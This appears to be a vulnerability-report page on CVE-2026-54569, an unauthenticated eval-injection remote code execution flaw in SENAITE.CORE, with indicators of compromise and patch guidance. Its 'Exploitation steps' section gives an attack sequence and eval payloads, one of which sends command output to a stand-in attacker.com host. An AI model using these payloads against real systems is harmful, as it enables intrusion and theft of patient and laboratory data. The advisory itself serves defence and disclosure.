CVE-2026-54569
Python vulnerability analysis and mitigation

Overview

CVE-2026-54569 is a critical unauthenticated remote code execution (RCE) vulnerability in SENAITE.CORE, the core framework for the SENAITE laboratory information management system (LIMS). It affects all 2.x releases from version 2.0.0 through 2.6.0 and is the result of a two-flaw chain: eval injection (CWE-95) and missing authorization (CWE-862) in the JSON API. The vulnerability was discovered by Machine Spirits UG (Cologne, Germany) and the advisory was published on July 10, 2026, with the GitHub Security Advisory (GHSA-jrw6-7x4q-w25j) released on August 26, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory).

Technical details

The vulnerability is a chain of two independent flaws in the SENAITE JSON API. First (CWE-862), the state-changing routes in src/bika/lims/jsonapi/update.py — including update, update_many, remove, doActionFor, doActionFor_many, and getusers — do not enforce the senaite.core: Access JSON API permission before resolving attacker-selected objects, unlike the create route which does perform this check. Second (CWE-95), the function set_fields_from_request in jsonapi/__init__.py passes raw request values for RecordsField and RecordField instances directly to Python's built-in eval() at line 240, before any field mutator write-permission check executes; the same unsafe eval() pattern exists in record.py and records.py. An anonymous attacker can discover the bika_setup object UID via the publicly accessible @@uuid view (since bika_setup is anonymous-readable by default), then POST a malicious payload such as __import__('os').popen('id').read() in the RejectionReasons field to /@@API/update, triggering arbitrary Python execution in the Zope worker process. Although ZODB transaction savepoints roll back database writes on subsequent mutator failure, Python side effects (subprocess calls, file I/O, network egress) are not reverted (GitHub Advisory, PR #2903, PR #2919).

Impact

Successful exploitation grants an unauthenticated attacker arbitrary Python code execution in the Zope worker process, resulting in full compromise of confidentiality, integrity, and availability. The attacker gains full read/write access to the ZODB (including all patient and laboratory data), filesystem access on the container's /data volume, outbound network egress from the worker, and direct access to acl_users (the Plone PAS user folder) enabling creation of administrator accounts. Combined with the exposed Zope Management Interface (/manage) in the default Docker deployment, this provides durable post-exploitation persistence and potential for lateral movement within the hosting environment (GitHub Advisory).

Exploitability

A public proof-of-concept (PoC) exploit script (poc.py) is included in the GitHub Security Advisory and was tested against the unmodified upstream Docker image senaite/senaite:v2.6.0 without any credentials. The NVD SSVC assessment classifies exploitation as automatable with total technical impact. The EPSS score is currently 0.0, and there is no evidence of active in-the-wild exploitation or CISA KEV catalog listing at this time. No threat actor attribution has been reported (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing SENAITE instances (versions 2.0.0–2.6.0) using tools like Shodan or Censys, searching for the Plone/SENAITE login form or the /@@API/ endpoint on port 8080.
  2. Discover bika_setup UID: Send an unauthenticated HTTP GET request to GET /senaite/bika_setup/@@uuid — the response body is the 32-character hex UID of the bika_setup object, which is anonymously readable by default.
  3. Craft malicious payload: Construct a Python eval-injection payload targeting a RecordsField-typed field (e.g., RejectionReasons). Example: __import__('urllib2').urlopen('http://attacker.com/?id=' + __import__('os').popen('id').read().replace(' ', '_'))
  4. Fire the exploit: Send an unauthenticated HTTP POST to /senaite/@@API/update with form fields obj_uid=<discovered_uid> and RejectionReasons=<payload>. The missing authorization check allows the request to reach set_fields_from_request, which calls eval() on the payload.
  5. Achieve code execution: The Zope worker process executes the injected Python code with full builtins available. Side effects (outbound connections, file writes, subprocess calls) persist even though the ZODB transaction is rolled back on mutator failure.
  6. Establish persistence: Use the code execution primitive to create a new administrator account in acl_users, drop a web shell, or establish a reverse shell for durable access (GitHub Advisory).

Indicators of compromise

  • Network: Unauthenticated HTTP GET requests to /senaite/bika_setup/@@uuid (UID harvesting); unauthenticated HTTP POST requests to /senaite/@@API/update or other /@@API/ state-changing routes with no session cookie or Authorization header; unexpected outbound HTTP/HTTPS connections from the SENAITE/Zope worker process to external hosts.
  • Logs: Zope/SENAITE access logs showing anonymous POST requests to /@@API/update, /@@API/remove, /@@API/doActionFor, /@@API/getusers; Python eval-related warnings or exceptions in application logs (e.g., JSONAPI: RejectionReasons: Invalid JSON/Python variable); Zope error logs showing Unauthorized exceptions on JSON API routes after patching (indicating attempted exploitation post-patch).
  • File System: Unexpected new files or scripts in the SENAITE container's /data volume or Zope instance directory; new or modified cron jobs or startup scripts owned by the senaite service account.
  • Process: Unusual child processes spawned by the Zope/SENAITE worker (e.g., sh, bash, curl, wget, python) visible via ps or container process monitoring; unexpected outbound network connections from the worker PID.
  • ZODB/Application: New administrator accounts created in acl_users not corresponding to legitimate provisioning; unexpected changes to bika_setup configuration fields such as RejectionReasons or IDFormatting (GitHub Advisory).

Mitigation and workarounds

Hotfix (recommended for versions 2.0.0–2.6.0): Install the SenaiteHotfix20260602 package by adding it to your Buildout eggs or via pip, then restart the SENAITE instance. This hotfix applies runtime monkey patches that replace eval() with safe ast.literal_eval()-based parsing and enforces AccessJSONAPI permission checks on all state-changing routes. For deployments with disabled z3c.autoinclude auto-discovery, also load the ZCML explicitly. Upstream fixes: Two pull requests have been merged into the 2.x branch — PR #2903 (commit a24d65e) replaces eval() with ast.literal_eval() via a new parse_record_literal() helper, and PR #2919 (commit ef4b6d7) adds a check_jsonapi_permission() helper enforced on all state-changing routes. Both fixes will be included in the upcoming 2.7.0 release. As a defense-in-depth measure, restrict network access to the SENAITE instance (port 8080) to trusted networks only, and consider removing the IDisableCSRFProtection inheritance to close authenticated CSRF chains (GitHub Advisory, PR #2903, PR #2919).

Community reactions

The vulnerability was discovered and responsibly disclosed by Machine Spirits UG, a German security research firm focused on medical device and healthcare application security. The advisory credits Dr. Simon Weber, Dipl.-Inf. Volker Schönefeld, and Chiara Fliegner. The SENAITE maintainers (ramonski, xispa) responded promptly, merging both fix PRs within days of the internal report and publishing the hotfix package. A Mastodon post from @thehackerwire noted the disclosure. The vulnerability has been indexed by threat intelligence aggregators including VulDB, radar.offseq.com, and cvefeed.io, reflecting broad community awareness of this critical healthcare LIMS vulnerability (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-54569CRITICAL9.8
  • Python logoPython
  • senaite.core
NoNoAug 26, 2026
CVE-2026-54553MEDIUM5.4
  • Python logoPython
  • starlette-admin
NoYesAug 26, 2026
GHSA-x287-5c68-36wpMEDIUM5.3
  • Python logoPython
  • openwisp-ipam
NoYesAug 26, 2026
CVE-2026-54548LOW3.3
  • Python logoPython
  • kas
NoYesAug 26, 2026
GHSA-93qj-5q5v-3c2hCRITICALN/A
  • Python logoPython
  • pantheon-agents
NoYesAug 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management